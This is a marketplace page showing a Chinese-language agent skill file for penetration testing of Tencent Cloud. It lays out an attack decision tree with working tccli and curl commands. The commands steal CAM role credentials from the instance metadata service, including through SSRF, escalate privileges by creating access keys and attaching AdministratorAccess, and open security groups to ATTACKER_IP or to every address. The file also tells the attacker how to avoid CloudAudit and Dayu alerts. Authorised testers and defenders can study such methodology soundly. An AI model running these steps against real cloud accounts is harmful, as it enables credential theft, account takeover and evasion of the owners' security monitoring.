Skip to main content

tencent-pentesting

腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理

ソース情報

リポジトリ
wgpsec/AboutSecurity
ソースの最終更新活動
2026年5月21日 13:05
検出された SKILL.md の言語
中国語
スター
1,760
フォーク
243

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー
3 ファイル

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
tencent-pentesting
description
腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理
metadata
{"tags":"tencent-cloud,腾讯云,cam,cvm,cos,tencentdb,tke,scf,cls,clb,kms,ssm,tccli,coscmd,secretid,metadata.tencentyun.com,云渗透","category":"cloud"}
# 腾讯云渗透测试方法论 腾讯云 CAM/CVM/COS/TencentDB/TKE 等服务构成主要攻击面。与 AWS/阿里云不同,腾讯云元数据常用域名 `metadata.tencentyun.com`,部分环境也支持链路本地 IP(如 `169.254.0.23`);COS 操作需要独立的 `coscmd` 工具,CAM 使用 Uin/SubUin 身份模型(而非 ARN 体系)。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。 ## ⛔ 深入参考(必读) 识别到具体攻击服务后,加载对应参考文档获取完整技术细节: - 计算/存储/数据库详细利用 → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) - 容器/Serverless/日志/KMS 详细利用 → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) --- ## Phase 1: 环境识别 拿到腾讯云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。 ### 1.1 凭据类型 | 凭据类型 | 识别特征 | 有效期 | 获取方式 | |---|---|---|---| | 长期 SecretId/SecretKey | SecretId 以 `AKID` 开头 | 永久(直到手动轮换) | CAM 控制台创建 / 代码泄露 | | STS 临时凭据 | 包含 Token 字段 | 15 分钟 ~ 2 小时 | AssumeRole / CVM 元数据 | | CVM Role(实例绑定) | 通过 metadata.tencentyun.com 获取 | 自动轮换 | CVM 实例元数据服务 | ### 1.2 CLI 配置 腾讯云有两个关键 CLI 工具,务必区分: ```bash # 主 CLI: tccli(覆盖绝大多数服务) pip install tccli tccli configure # 交互式填入 SecretId / SecretKey / Region / Output # 验证当前身份 tccli sts GetCallerIdentity # 返回: AccountId, Arn, Type (对应 Root/SubUser/RoleUser) # COS 专用工具: coscmd(tccli cos 子命令功能有限!) pip install coscmd coscmd config -a SECRET_ID -s SECRET_KEY -b BUCKET_NAME -r REGION # coscmd 支持 list / upload / download / delete 等完整文件操作 # tccli cos 仅支持 Bucket 级别 API,无法方便地列出/下载对象 ``` **关键差异:** 腾讯云 COS 操作必须结合 `coscmd`。`tccli cos GetService` 可以列出 Bucket 列表,但枚举对象内容、批量下载等操作需要 `coscmd`。这是腾讯云渗透中的重要工具区别。 ### 1.3 元数据端点 腾讯云 CVM 元数据端点常用域名 `metadata.tencentyun.com`,部分环境也可通过链路本地 IP(如 `169.254.0.23`)访问;SSRF 探测和防护应同时考虑域名与 IP 形态。 ```bash # 判断是否在 CVM 实例内部 curl -s http://metadata.tencentyun.com/latest/meta-data/ curl -s http://169.254.0.23/latest/meta-data/ # 获取实例绑定的 CAM Role 名称 curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ # 获取该 Role 的临时凭据(TmpSecretId/TmpSecretKey/Token) curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME # 获取实例 ID、区域等信息 curl -s http://metadata.tencentyun.com/latest/meta-data/instance-id curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region # 获取 User-Data(可能包含初始化脚本中的凭据) curl -s http://metadata.tencentyun.com/latest/user-data ``` **SSRF 利用差异:** 腾讯云元数据常用域名 `metadata.tencentyun.com`,也可能存在链路本地 IP 访问路径;仅限制 AWS/Aliyun 常见元数据 IP(如 `169.254.169.254`、`100.100.100.200`)并不充分。同时,腾讯云目前不强制 IMDSv2,大部分 CVM 实例的元数据服务可直接通过 HTTP GET 访问。 ### 1.4 对象存储 URL 格式 ``` 公网访问: https://{bucket}-{appid}.cos.{region}.myqcloud.com/{object} 自定义域名: https://custom.domain.com/{object} ``` 发现 `cos.*.myqcloud.com` 域名即可确认目标使用腾讯云 COS。Bucket 名称格式为 `{name}-{appid}`,appid 为数字。 ### 1.5 区域编码 | 区域代码 | 位置 | 备注 | |---|---|---| | ap-guangzhou | 华南地区(广州) | 腾讯云总部所在地,最常用区域 | | ap-shanghai | 华东地区(上海) | 金融客户常用 | | ap-beijing | 华北地区(北京) | 政企客户常用 | | ap-chengdu | 西南地区(成都) | | | ap-chongqing | 西南地区(重庆) | | | ap-nanjing | 华东地区(南京) | | | ap-hongkong | 中国香港 | 无需备案,常被用于出海业务 | | ap-singapore | 新加坡 | 海外区域 | 枚举时需遍历多个区域。部分服务(如 CAM、STS)为全局服务,不受区域限制。 ### 1.6 CAM 身份模型 腾讯云 CAM 使用 Uin/SubUin 模型,与 AWS ARN 体系不同: | 概念 | 腾讯云 CAM | AWS IAM | |---|---|---| | 主账号标识 | Uin(数字,如 100000123456) | Account ID(12 位数字) | | 子用户标识 | SubUin(数字) | IAM User ARN | | 角色标识 | RoleId + RoleName | Role ARN | | 策略关联 | 通过 Uin/SubUin 绑定 | 通过 ARN 绑定 | ```bash # 获取当前身份(已在 1.2 中介绍,此处复习) tccli sts GetCallerIdentity # 返回 AccountId(即主账号 Uin)、Type # 列出子用户详情(需知道子用户 Uin) tccli cam DescribeSubAccounts --FilterSubAccountUin '[SUB_UIN]' ``` --- ## Phase 2: 攻击决策树 根据当前持有的凭据/位置,判断攻击路径: ``` 当前持有什么? ├── 无凭据 │ ├── 有目标域名 → COS Bucket 枚举(猜解 bucket-appid 名 + 公开访问检测) │ ├── 有 SSRF 漏洞 → 打 http://metadata.tencentyun.com 获取 CAM Role 凭据 │ └── 仅知组织名 → OSINT + COS/子域名枚举 │ ├── 有 SecretId/SecretKey(AKID 开头) │ ├── 先验证: tccli sts GetCallerIdentity │ ├── 有 CAM 写权限 → Phase 3(CAM 提权) │ ├── 有 CVM 权限 → Phase 4(计算/存储) │ ├── 有 COS 权限 → Phase 4(对象存储,需 coscmd!) │ ├── 有 TencentDB 权限 → Phase 4(数据库) │ └── 权限不明 → 逐服务探测(手动调用各命名空间 Describe* 类 API) │ ├── 有 STS 临时凭据(含 Token) │ └── 同上,但需注意有效期(最长 2 小时),快速行动 │ ├── 在 CVM 实例内部 │ ├── 获取元数据 CAM Role 凭据 → 根据权限进入对应 Phase │ └── 检查 User-Data 中是否有硬编码凭据 │ └── 有容器环境(TKE Pod 内部) ├── 检查 ServiceAccount Token ├── 尝试访问 metadata.tencentyun.com 元数据 └── → Phase 5(容器/Serverless) ``` --- ## Phase 3: CAM 提权速查 CAM(Cloud Access Management)是腾讯云的身份权限服务,对标 AWS IAM。 ### 3.1 信息收集 ```bash # 列出所有子用户 tccli cam ListUsers # 查看指定子用户的策略(使用 SubUin) tccli cam ListAttachedUserPolicies --TargetUin SUB_UIN # 列出该用户的 AccessKey tccli cam ListAccessKeys --TargetUin UIN # 列出所有角色 tccli cam DescribeRoleList --Page 1 --Rp 100 ``` ### 3.2 提权路径 | 提权路径 | 所需权限 | 操作 | |---|---|---| | 创建 AccessKey | `cam:CreateAccessKey` | 为高权限用户创建新 SecretId/SecretKey | | 附加策略 | `cam:AttachUserPolicy` | 给自己附加 `AdministratorAccess` | | 创建策略版本 | `cam:CreatePolicy` | 创建 Allow * 策略并附加到自身 | | 修改角色信任策略 | `cam:UpdateAssumeRolePolicy` | 修改角色信任实体使自己可 AssumeRole | | PassRole + 创建 CVM | `cam:PassRole` + `cvm:RunInstances` | 启动绑定高权限 Role 的 CVM | | PassRole + 创建 SCF | `cam:PassRole` + `scf:CreateFunction` | 创建绑定高权限 Role 的云函数并执行 | ```bash # 提权示例:为目标用户创建新 AccessKey tccli cam CreateAccessKey --TargetUin TARGET_UIN # 成功返回 SecretId + SecretKey,用新凭据重新配置 CLI # 提权示例:给当前用户附加管理员策略 tccli cam AttachUserPolicy --PolicyId 1 --AttachUin CURRENT_SUB_UIN # PolicyId 1 = AdministratorAccess(腾讯云预设策略) ``` --- ## Phase 4: 计算/存储/数据库速查 ### CVM(云服务器) ```bash # 列出实例 tccli cvm DescribeInstances --output json # 获取指定实例详情 tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]' ``` → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取 VNC 连接、User-Data 提取、TAT 命令执行完整流程 ### COS(对象存储) ```bash # 列出所有 Bucket(tccli 可完成) tccli cos GetService --output json # 列出 Bucket 内容(必须用 coscmd!) coscmd -b BUCKET_NAME -r REGION list coscmd -b BUCKET_NAME -r REGION list -a # 递归列出所有对象 ``` → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取 ACL 检查、数据下载、公开访问检测完整流程 ### TencentDB(数据库) ```bash # 列出所有 MySQL 实例(cdb 命名空间) tccli cdb DescribeDBInstances --output json ``` → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取连接信息获取、账号创建、数据导出完整流程 ### CLB(负载均衡) ```bash # 列出所有负载均衡实例 tccli clb DescribeLoadBalancers --output json ``` → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取后端篡改、流量劫持完整流程 --- ## Phase 5: 容器/Serverless/日志/KMS 速查 ### TKE(容器服务 Kubernetes) ```bash # 列出集群 → 获取 kubeconfig tccli tke DescribeClusters tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID ``` → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取集群接管、特权 Pod 创建完整流程 ### SCF(云函数) ```bash # 列出函数(命名空间为 scf,不是 scb!) tccli scf ListFunctions --Namespace default --output json ``` → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取代码提取、环境变量泄露完整流程 ### CLS(日志服务) ```bash # 搜索敏感信息 tccli cls SearchLog --TopicId TOPIC_ID --Query "password|secret|token" ``` → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取日志搜索、批量导出完整流程 ### KMS(密钥管理) ```bash # 列出密钥 → 尝试解密 tccli kms ListKeys ``` → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取密钥枚举、数据解密完整流程 --- ## Phase 6: 安全组操控 安全组是腾讯云 CVM 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。 ```bash # 列出所有安全组 tccli vpc DescribeSecurityGroups --output json # 查看安全组规则 tccli vpc DescribeSecurityGroupPolicies --SecurityGroupId sg-SG_ID # 添加入方向规则 — 仅开放攻击者 IP 的 SSH tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \ --SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"22","CidrBlock":"ATTACKER_IP/32","Action":"ACCEPT"}]}' # 危险操作 — 开放所有端口(极高告警风险) tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \ --SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"ALL","CidrBlock":"0.0.0.0/0","Action":"ACCEPT"}]}' ``` **判断依据:** 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发大禹安全告警。 --- ## 工具速查 | 工具 | 用途 | 安装/使用 | |---|---|---| | tccli | 腾讯云官方命令行工具 | `pip install tccli` | | coscmd | COS 对象存储专用工具(必备!) | `pip install coscmd` | | tccli sts GetCallerIdentity | 验证凭据身份 | 内置子命令 | | curl | 元数据服务探测(注意用域名) | 系统自带 | | kubectl | TKE 集群操作 | 获取 kubeconfig 后使用 | | cf (Cloud Exploitation Framework) | 腾讯云/阿里云自动化利用 | `go install github.com/teamssix/cf@latest` | ## 注意事项 **云审计感知:** 腾讯云云审计(CloudAudit)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志: - CAM 变更(CreateUser、CreateAccessKey、AttachUserPolicy) - STS 调用(AssumeRole) - 安全组规则变更(CreateSecurityGroupPolicies,vpc 命名空间) **大禹安全检测:** 腾讯云安全产品会检测: - SecretId/SecretKey 异常调用(异常 IP、异常时间、异常 API 频率) - CVM 异常登录(非常用地域 IP) - 安全组规则异常开放 - COS Bucket ACL 变更为公开 **速率限制:** 腾讯云 API 有限流机制,枚举时建议控制频率。触发限流返回 `RequestLimitExceeded` 错误码。 **区域遍历:** 与 AWS 类似,腾讯云资源按区域隔离。全局服务(CAM、STS)不受区域限制,但 CVM/COS/TencentDB 等需逐区域枚举。 **tccli 参数格式:** tccli 部分参数接受 JSON 格式(如 `--Accounts '[{...}]'`、`--SecurityGroupPolicySet '{...}'`),注意正确的 JSON 转义。
GitHubで見る